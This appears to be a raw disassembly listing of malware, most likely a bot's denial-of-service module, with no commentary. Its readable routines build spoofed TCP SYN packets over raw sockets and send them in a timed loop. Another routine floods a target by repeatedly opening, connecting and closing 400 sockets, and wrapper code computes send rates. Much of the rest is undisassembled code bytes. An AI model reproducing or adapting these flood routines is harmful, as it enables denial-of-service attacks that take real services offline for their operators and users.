lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BD10
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA53
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CAB0
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4C9368
cmp eax, 0FFFFFFFFh
jz short loc_413944
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 27A018Bh
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_41396D
jl loc_413801
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_41396D
jmp loc_413801
; ---------------------------------------------------------------------------
loc_413944: ; CODE XREF: sub_41364F+2CBj
call dword_4C9298
push eax
lea eax, [ebp+var_F4]
push offset dword_4370EC
push eax
call sub_41C006
lea eax, [ebp+var_F4]
push eax
call sub_415CEE
add esp, 10h
jmp short loc_413970
; ---------------------------------------------------------------------------
loc_41396D: ; CODE XREF: sub_41364F+2E0j
; sub_41364F+2EEj
mov ebx, [ebp+arg_8]
loc_413970: ; CODE XREF: sub_41364F+78j
; sub_41364F+31Cj
push [ebp+var_20]
call dword_4C939C
pop esi
loc_41397A: ; CODE XREF: sub_41364F+5Bj
call dword_4C925C
mov eax, ebx
loc_413982: ; CODE XREF: sub_41364F+3Bj
pop edi
pop ebx
leave
retn
sub_41364F endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A8E4
push dword ptr [esp+18h]
mov esi, eax
call sub_41BEF9
push dword ptr [esp+24h]
mov ebx, eax
call sub_41BEF9
mov edi, eax
call sub_41C062
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_41364F
add esp, 20h
test eax, eax
jnz short loc_4139D5
push 1
pop eax
loc_4139D5: ; CODE XREF: ___:004139D0j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_4139E4 dd 81EC8B55h, 3BCECh, 8B565300h, 6A570845h, 59F08B68h
; DATA XREF: sub_401AC7+667Bo
dd 0FE44BD8Dh, 16AFFFFh, 0FF685Bh, 36A0000h, 26AA5F3h
dd 19C9889h, 15FF0000h, 4C9384h, 89FFF883h, 5F75FC45h
dd 929815FFh, 8D50004Ch, 0FFFC4485h, 71EC68FFh, 0E8500043h
dd 85CEh, 0C483FF33h, 0DC7D390Ch, 8D572075h, 0FFFC4485h
dd 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh, 3E8FFFFh
dd 83FFFF5Eh, 858D14C4h, 0FFFFFC44h, 2280E850h, 75FF0000h
dd 7C53E8C8h, 5959FFFFh, 81E89057h, 8D022DC5h, 46AF44Dh
dd 6AFF3351h, 89505702h, 15FFF45Dh, 4C92E4h, 75FFF883h
dd 9815FF5Dh, 50004C92h, 0FC44858Dh, 0BC68FFFFh, 50004371h
dd 8555E8h, 0CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h
dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5D8CE8FFh
dd 0C483FFFFh, 44858D14h, 50FFFFFCh, 2209E8h, 0C875FF00h
dd 0FF7BDCE8h, 575959FFh, 2DC50BE8h, 858D9002h, 0FFFFFE48h
dd 4415FF50h, 83004C93h, 5575FFF8h, 0FC44858Dh, 9C68FFFFh
dd 50004371h, 84EDE8h, 0DC7D3900h, 20755959h, 44858D57h
dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h
dd 0FF5D25E8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 21A2h
dd 0E8C875FFh, 0FFFF7B75h, 90575959h, 2DC4A3E8h, 8D106A02h
dd 5057E445h, 81A7E8h, 0CC48300h, 0E445C766h, 0FF570002h
dd 4C930415h, 45896600h, 48858DE6h, 50FFFFFEh, 934415FFh
dd 358B004Ch, 4270B8h, 89E84589h, 0D6FF087Dh, 0FFF84589h
dd 0F8452BD6h, 0E8B9D233h, 0F7000003h, 0D0453BF1h, 194870Fh
dd 1C680000h, 0C6000004h, 4CC08005h, 15FF4500h, 4C9304h
dd 66D47D39h, 4CC082A3h, 1D896600h, 4CC084h, 863D8966h
dd 0C6004CC0h, 4CC08805h, 1D888000h, 4CC089h, 8A3D8966h
dd 74004CC0h, 846CE830h, 0D88B0000h, 0E808E3C1h, 8462h
dd 0E3C1D803h, 8458E808h, 0D8030000h, 0E808E3C1h, 844Eh
dd 16AD803h, 0C08C1D89h, 0EB5B004Ch, 44B5FF18h, 0E8FFFFFEh
dd 0FFFF6DCEh, 15FF5059h, 4C9344h, 4CC08CA3h, 0E8458B00h
dd 4CC090A3h, 841CE800h, 0B9990000h, 100h, 1588F9F7h, 4CC094h
dd 8409E8h, 0B99900h, 0F7000001h, 951588F9h, 0E8004CC0h
dd 83F6h, 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4CC096h
dd 9A1D8966h, 42004CC0h, 98158966h, 0E8004CC0h, 83CEh
dd 0FFB999h, 0F9F70000h, 0C09C6852h, 69E8004Ch, 83000080h
dd 458D0CC4h, 50106AE4h, 41C6857h, 80680000h, 0FF004CC0h
dd 15FFFC75h, 4C9368h, 74FFF883h, 845FF08h, 0FFFECAE9h
dd 0FC75FFFFh, 939C15FFh, 15FF004Ch, 4C9298h, 48858D50h
dd 0FFFFFFFEh, 68500875h, 437154h, 0FC44858Dh, 68FFFFh
dd 50000002h, 83FFE8h, 18C48300h, 75DC7D39h, 858D5720h
dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h
dd 5B3CE8FFh, 0C483FFFFh, 44858D14h, 50FFFFFCh, 1FB9E8h
dd 0C875FF00h, 0FF798CE8h, 575959FFh, 0C2BAE890h, 75FF022Dh
dd 9C15FFFCh, 8B004C93h, 0D2330845h, 8B3CC06Bh, 0AE8C1C8h
dd 0C1D075F7h, 505114E9h, 0FE48858Dh, 75FFFFFFh, 858D5008h
dd 0FFFFFEC8h, 44858D50h, 68FFFFFCh, 437108h, 8280E850h
dd 0C4830000h, 0DC7D391Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0B7E8FFFFh, 83FFFF5Ah
dd 858D14C4h, 0FFFFFC44h, 1F34E850h, 75FF0000h, 7907E8C8h
dd 5959FFFFh, 35E89057h
; ---------------------------------------------------------------------------
retn 22Dh
; ---------------------------------------------------------------------------
byte_413DCB db 55h ; DATA XREF: sub_401AC7+547Do
dd 20B8EC8Bh, 0E8000103h, 84C8h, 5308458Bh, 496A5756h
dd 8D59F08Bh, 0FFFEBCBDh, 6AA5F3FFh, 0B8895F01h, 120h
dd 928C15FFh, 4589004Ch, 40858D08h, 50FFFFFFh, 934415FFh
dd 0F08B004Ch, 0C033DB33h, 75FFFE83h, 40858D11h, 50FFFFFFh
dd 938815FFh, 0C33B004Ch, 7D830674h, 5D75FF08h, 0FF40858Dh
dd 8D50FFFFh, 0FFFCBC85h, 724468FFh, 0E8500043h, 81C2h
dd 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh, 8D50D475h
dd 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF59F9E8h, 14C483FFh
dd 0FCBC858Dh, 0E850FFFFh, 1E76h, 0E8D075FFh, 0FFFF7849h
dd 0E8575959h, 22DC178h, 74C33B90h, 0C408B0Ch, 8B008Bh
dd 0EBFC4589h, 0FC758903h, 458D1C6Ah, 0E85053E0h, 7E68h
dd 0FFE84D83h, 0FFDCB8h, 0CC48300h, 7EC44539h, 0C4458903h
dd 7DC87D39h, 0C87D8903h, 5D39F633h, 0FF267EC0h, 458DC875h
dd 501C6AE0h, 0E0858D53h, 0FFFFFEFCh, 0FF50C475h, 75FFFC75h
dd 1C15FF08h, 46004C92h, 7CC0753Bh, 875FFDAh, 93BC15FFh
dd 858D004Ch, 0FFFFFF40h, 0BC858D50h, 68FFFFFCh, 437218h
dd 80F4E850h, 0C4830000h, 0D85D390Ch, 8D532075h, 0FFFCBC85h
dd 0D475FFFFh, 0C0858D50h, 50FFFFFEh, 0FEBCB5FFh, 2BE8FFFFh
dd 83FFFF59h, 858D14C4h, 0FFFFFCBCh, 1DA8E850h, 75FF0000h
dd 777BE8D0h, 5959FFFFh, 0A9E89053h
db 0C0h, 2Dh, 2
byte_413F57 db 55h ; DATA XREF: sub_401AC7+56C6o
dd 10B8EC8Bh, 0E8000103h, 833Ch, 5308458Bh, 496A5756h
dd 8D59F08Bh, 0FFFECCBDh, 6AA5F3FFh, 0B0895E01h, 120h
dd 28C7A4E8h, 0E8509002h, 80CCh, 6A116A59h, 0FF026A02h
dd 4C938415h, 33D88B00h, 8D106AFFh, 5057F045h, 7D67E8h
dd 0CC48300h, 0FF50858Dh, 0C766FFFFh, 2F045h, 4415FF50h
dd 83004C93h, 4589FFF8h, 8D757508h, 0FFFF5085h, 15FF50FFh
dd 4C9388h, 5D75C73Bh, 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h
dd 729868FFh, 0E8500043h, 8016h, 390CC483h, 2075E87Dh
dd 0CC858D57h, 0FFFFFFFCh, 8D50E475h, 0FFFED085h, 0B5FF50FFh
dd 0FFFFFECCh, 0FF584DE8h, 14C483FFh, 0FCCC858Dh, 0E850FFFFh
dd 1CCAh, 0E8E075FFh, 0FFFF769Dh, 0E8565959h, 22DBFCCh
dd 0C408B90h, 3EB008Bh, 8B08458Dh, 0DC7D3900h, 75F44589h
dd 8014E811h, 0B9990000h, 0FFDCh, 5242F9F7h, 75FF03EBh
dd 415FFDCh, 39004C93h, 8966DC75h, 37DF245h, 0B8DC7589h
dd 0FFFFh, 7EDC4539h, 0DC458903h, 6AD0458Bh, 0F759990Ah
dd 0D87D39F9h, 75D04589h, 0D8758903h, 7D39F633h, 0E81A7ED4h
dd 7FC6h, 0FFB999h, 0F9F70000h, 0D4753B46h, 0EF359488h
dd 7CFFFEFCh, 0D0458BE6h, 85D04DFFh, 6A557EC0h, 458D5E0Bh
dd 50106AF0h, 7F98E857h, 0A6A0000h, 0F9F75999h, 2BD4458Bh
dd 858D50C2h, 0FFFEFCF0h, 15FF5350h, 4C9368h, 90D875FFh
dd 26C42EE8h, 0CE754E02h, 75DC7D39h, 7F68E8BCh, 0B9990000h
dd 0FFDCh, 5242F9F7h, 930415FFh, 8966004Ch, 0A1EBF245h
dd 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h, 726C68FFh, 0E8500043h
dd 7EDEh, 390CC483h, 2075E87Dh, 0CC858D57h, 0FFFFFFFCh
dd 8D50E475h, 0FFFED085h, 0B5FF50FFh, 0FFFFFECCh, 0FF5715E8h
dd 14C483FFh, 0FCCC858Dh, 0E850FFFFh, 1B92h, 0E8E075FFh
dd 0FFFF7565h, 90575959h, 2DBE93E8h
db 2
byte_41416D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+4D0Fo
dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
dd 858D50FFh, 0FFFFFDF0h, 11DE850h, 8D500000h, 0FFFBEC85h
dd 72C068FFh, 0E8500043h, 7E46h, 0C483F633h, 0F8753918h
dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
dd 0FDECB5FFh, 7BE8FFFFh, 83FFFF56h, 858D14C4h, 0FFFFFBECh
dd 1AF8E850h, 75FF0000h, 74CBE8F0h, 5959FFFFh, 0BDFAE856h
dd 5F90022Dh
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414209 proc near ; CODE XREF: ___:004142F2p
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BD10
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4C9304
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_4142C7
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_414254: ; CODE XREF: sub_414209+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_41425C: ; CODE XREF: sub_414209+7Aj
push 0
push 1
push 2
call near ptr 71AB3C22h
nop
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_41427F
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB155Ah
loc_41427F: ; CODE XREF: sub_414209+64j
add esi, 4
dec ebx
jnz short loc_41425C
lea esi, [ebp+var_654]
mov ebx, edi
loc_41428D: ; CODE XREF: sub_414209+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
nop
call near ptr 71AB3E5Dh
add esi, 4
dec ebx
jnz short loc_41428D
push 64h
nop
call near ptr 268051Bh
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142B1: ; CODE XREF: sub_414209+B4j
push dword ptr [esi]
nop
call near ptr 71AB1A6Dh
add esi, 4
dec ebx
jnz short loc_4142B1
dec [ebp+arg_4]
jnz short loc_414254
pop edi
pop esi
pop ebx
loc_4142C7: ; CODE XREF: sub_414209+3Ej
xor eax, eax
leave
retn
sub_414209 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A8E4
push dword ptr [esp+18h]
mov edi, eax
call sub_41BEF9
push dword ptr [esp+20h]
mov ebx, eax
call sub_41BEF9
mov esi, eax
push esi
push ebx
push edi
call sub_414209
add esp, 18h
test eax, eax
jnz short loc_414301
push 1
pop eax
loc_414301: ; CODE XREF: ___:004142FCj
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_414310 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h
; DATA XREF: sub_401AC7+63A9o
dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 30DE8h
dd 858D5000h, 0FFFFFBECh, 4372EC68h, 0A3E85000h, 3300007Ch
dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh
dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 54D8E8FFh, 0C483FFFFh
dd 0EC858D14h, 50FFFFFBh, 1955E8h, 0F075FF00h, 0FF7328E8h
dd 565959FFh, 0BC56E890h, 5E5F022Dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143AC proc near ; CODE XREF: ___:0041469Ap
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4C9274
test eax, eax
jz short loc_4143EC
xor eax, eax
jmp loc_41465A
; ---------------------------------------------------------------------------
loc_4143EC: ; CODE XREF: sub_4143AC+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4C93A8
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_414652
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4C92E4
cmp eax, 0FFFFFFFFh
jz loc_414648
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41BD10
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4C9304
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4C9304
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4C9304
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4C9304
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call near ptr 27A0486h
nop
lea eax, [ebp+var_8]
push eax
call near ptr 27A018Bh
nop
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41DA20
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_4144D7: ; CODE XREF: sub_4143AC+25Dj
; sub_4143AC+26Bj
mov [ebp+var_24], bx
call sub_41C062
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4C9304
mov [ebp+var_34], ax
call sub_41C062
mov edi, eax
shl edi, 10h
call sub_41C062
or edi, eax
push edi
call dword_4C9304
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4C9300
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4C9304
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CAB0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CAB0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA53
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CAB0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CAB0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BD10
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA53
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CAB0
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4C9368
cmp eax, 0FFFFFFFFh
jz short loc_41461C
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
nop
call near ptr 27A018Bh
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_414645
jl loc_4144D7
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_414645
jmp loc_4144D7
; ---------------------------------------------------------------------------
loc_41461C: ; CODE XREF: sub_4143AC+247j
call dword_4C9298
push eax
lea eax, [ebp+var_F4]
push offset dword_437314
push eax
call sub_41C006
lea eax, [ebp+var_F4]
push eax
call sub_415CEE
add esp, 10h
jmp short loc_414648
; ---------------------------------------------------------------------------
loc_414645: ; CODE XREF: sub_4143AC+25Bj
; sub_4143AC+269j
mov ebx, [ebp+arg_8]
loc_414648: ; CODE XREF: sub_4143AC+78j
; sub_4143AC+297j
push [ebp+var_C]
call dword_4C939C
pop esi
loc_414652: ; CODE XREF: sub_4143AC+5Bj
call dword_4C925C
mov eax, ebx
loc_41465A: ; CODE XREF: sub_4143AC+3Bj
pop edi
pop ebx
leave
retn
sub_4143AC endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A8E4
push dword ptr [esp+18h]
mov esi, eax
call sub_41BEF9
push dword ptr [esp+20h]
mov ebx, eax
call sub_41BEF9
mov edi, eax
call sub_41C062
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4143AC
add esp, 1Ch
test eax, eax
jnz short loc_4146A9
push 1
pop eax
loc_4146A9: ; CODE XREF: ___:004146A4j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_4146B8 dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh
; DATA XREF: sub_401AC7+6D33o
dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7810E8h
dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4C9344h, 5BE850h
dd 8D500000h, 0FFFC6C85h, 733468FFh, 0E8500043h, 78F6h
dd 0C483F633h, 0F8753914h, 8D562075h, 0FFFC6C85h, 0F475FFFFh
dd 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 2BE8FFFFh, 83FFFF51h
dd 858D14C4h, 0FFFFFC6Ch, 15A8E850h, 75FF0000h, 6F7BE8F0h
dd 5959FFFFh, 0A9E89056h, 5F022DB8h, 0EC8B555Eh, 98EC81h
dd 56530000h, 59016A57h, 0FF78A583h, 6A00FFFFh, 0A8658304h
dd 0FFBB5E00h, 6A000000h, 5AC03306h, 89AC7D8Dh, 0FFFF7C8Dh
dd 8045C7FFh, 2, 89847589h, 45C78855h, 88Ch, 9045C700h
dd 0Ch, 119445C7h, 0C7000000h, 169845h, 45C70000h, 299Ch
dd 0A045C700h, 3Ah, 89A45D89h, 8DABB045h, 4589D47Dh, 0B84589B4h
dd 0BC45C7h, 89000020h, 5589C075h, 0C845C7C4h, 3FFFh, 89CC4D89h
dd 4D89D045h, 0BFABD8h, 57000001h, 8F3CE8h, 45895900h
dd 0FF5057FCh, 4C931815h, 0FC75FF00h, 938815FFh, 408B004Ch
dd 36A530Ch, 8B026Ah, 4589008Bh, 8415FFF4h, 8D004C93h
dd 5156D84Dh, 6A026Ah, 0FC458950h, 92E415FFh, 0BE004Ch
dd 56000002h, 745AE8h, 0B83D8B00h, 59004270h, 0FFF84589h
dd 0F04589D7h, 6808458Bh, 29Ah, 0FF6C8589h, 0C766FFFFh
dd 0FFFF6885h, 0FF0002FFh, 4C930415h, 85896600h, 0FFFFFF6Ah
dd 452BD7FFh, 0B9D233F0h, 3E8h, 453BF1F7h, 0CF870F0Ch
dd 0E8000000h, 77D2h, 0F7CB8B99h, 0F4458BF9h, 0FFFFFF25h
dd 18E2C100h, 5589D00Bh, 77B8E8F4h, 8B990000h, 89F9F7CBh
dd 0ABE8AC55h, 99000077h, 1FA4B9h, 0DC45C600h, 0C6F9F745h
dd 8904DD45h, 93E8D455h, 66000077h, 0E8E04589h, 778Ah
dd 59990A6Ah, 8B66F9F7h, 50B09544h, 930415FFh, 6656004Ch
dd 0FFE24589h, 4C930415h, 45896600h, 0E45D88DEh, 7761E8h
dd 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h, 8BE54588h
dd 4589F445h, 8458BE8h, 8DEC4589h, 0E850DC45h, 0FFFF612Bh
dd 0E6458966h, 6ADC458Dh, 75FF5014h, 8176E8F8h, 0C4830000h
dd 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h, 0FFFC75FFh
dd 4C936815h, 0FF1AE900h, 75FFFFFFh, 70CFE8F8h, 0FF590000h
dd 15FFFC75h, 4C939Ch, 5F58016Ah, 0C3C95B5Eh
dword_414974 dd 81EC8B55h, 440ECh, 8458B00h, 6A575653h, 59F08B68h, 0FDC0BD8Dh
; DATA XREF: sub_401AC7+534Ao
dd 0A5F3FFFFh, 0DB33016Ah, 61BD8D5Eh, 6AFFFFFFh, 9CB0890Eh
dd 59000001h, 9D88C033h, 0FFFFFF60h, 0AB66ABF3h, 0B83D8BAAh
dd 0FF004270h, 99E850D7h, 59000076h, 0FF68h, 6A036A00h
dd 8415FF02h, 83004C93h, 4589FFF8h, 0FF6675FCh, 4C929815h
dd 858D5000h, 0FFFFFBC0h, 43744C68h, 17E85000h, 83000076h
dd 9D390CC4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h, 54B5FFFFh
dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 4E48E8FFh
dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 12C5E8h, 44B5FF00h
dd 0E8FFFFFFh, 0FFFF6C95h, 0E8535959h, 22DB5C4h, 0CC4D8D90h
dd 6A51046Ah, 89505302h, 15FFCC75h, 4C92E4h, 75FFF883h
dd 9815FF66h, 50004C92h, 0FBC0858Dh, 1468FFFFh, 50004374h
dd 7599E8h, 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h
dd 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h
dd 0E8FFFFFDh, 0FFFF4DCAh, 8D14C483h, 0FFFBC085h, 47E850FFh
dd 0FF000012h, 0FFFF44B5h, 6C17E8FFh, 5959FFFFh, 45E89053h
dd 8D022DB5h, 0FFFDC485h, 15FF50FFh, 4C9344h, 75FFF883h
dd 0C0858D5Eh, 68FFFFFBh, 4373F4h, 7528E850h, 9D390000h
dd 0FFFFFF58h, 23755959h, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h
dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF4D5Ah
dd 8D14C483h, 0FFFBC085h, 0D7E850FFh, 0FF000011h, 0FFFF44B5h
dd 6BA7E8FFh, 5959FFFFh, 0D5E89053h, 6A022DB4h, 0BC458D10h
dd 0D9E85053h, 83000071h, 0C7660CC4h, 2BC45h, 415FF53h
dd 66004C93h, 8DBE4589h, 0FFFDC485h, 15FF50FFh, 4C9344h
dd 89C04589h, 0D7FF085Dh, 0FFD04589h, 0D0452BD7h, 0E8B9D233h
dd 0F7000003h, 4C853BF1h, 0FFFFFFFh, 2AA87h, 0C6286A00h
dd 0FF45D445h, 4C930415h, 509D3900h, 66FFFFFFh, 66D64589h
dd 66D87589h, 0C6DA5D89h, 0C680DC45h, 6606DD45h, 74DE5D89h
dd 74B4E82Dh, 0F08B0000h, 0E808E6C1h, 74AAh, 0E6C1F003h
dd 74A0E808h, 0F0030000h, 0E808E6C1h, 7496h, 16AF003h
dd 5EE07589h, 0B5FF16EBh, 0FFFFFDC0h, 0FF5E19E8h, 0FF5059FFh
dd 4C934415h, 0E0458900h, 39C0458Bh, 0FFFF489Dh, 0E44589FFh
dd 63E81075h, 99000074h, 401B9h, 52F9F700h, 0B5FF06EBh
dd 0FFFFFF48h, 930415FFh, 8966004Ch, 43E8EA45h, 99000074h
dd 401B9h, 52F9F700h, 930415FFh, 7868004Ch, 66123456h
dd 0FFE84589h, 4C930015h, 0EC458900h, 0FE44858Dh, 0D068FFFFh
dd 500042B0h, 742FE8h, 0C0855900h, 89097459h, 45C6F05Dh
dd 5CEB02F5h, 0FE44858Dh, 0EC68FFFFh, 500042AEh, 740FE8h
dd 0C0855900h, 89097459h, 45C6F05Dh, 3CEB10F5h, 0FE44858Dh
dd 0E468FFFFh, 500042AEh, 73EFE8h, 0C0855900h, 0E8257459h
dd 73C6h, 5999036Ah, 5589F9F7h, 73B8E8F0h, 26A0000h, 0F9F75999h
dd 0D21ADAF7h, 20EE280h, 0F55588D1h, 20068h, 0F445C600h
dd 415FF50h, 66004C93h, 8BF64589h, 4589E045h, 0E4458B9Ch
dd 8966146Ah, 8966FA5Dh, 4589F85Dh, 0A45D88A0h, 6A545C6h
dd 930415FFh, 8966004Ch, 458DA645h, 50206A9Ch, 0FF60858Dh
dd 0E850FFFFh, 7DA8h, 6AE8458Dh, 458D5014h, 99E85080h
dd 8D00007Dh, 0FFFF6085h, 50346AFFh, 0FF5D2EE8h, 458966FFh
dd 0D4458DF8h, 8D50146Ah, 0FFFF6085h, 75E850FFh, 8D00007Dh
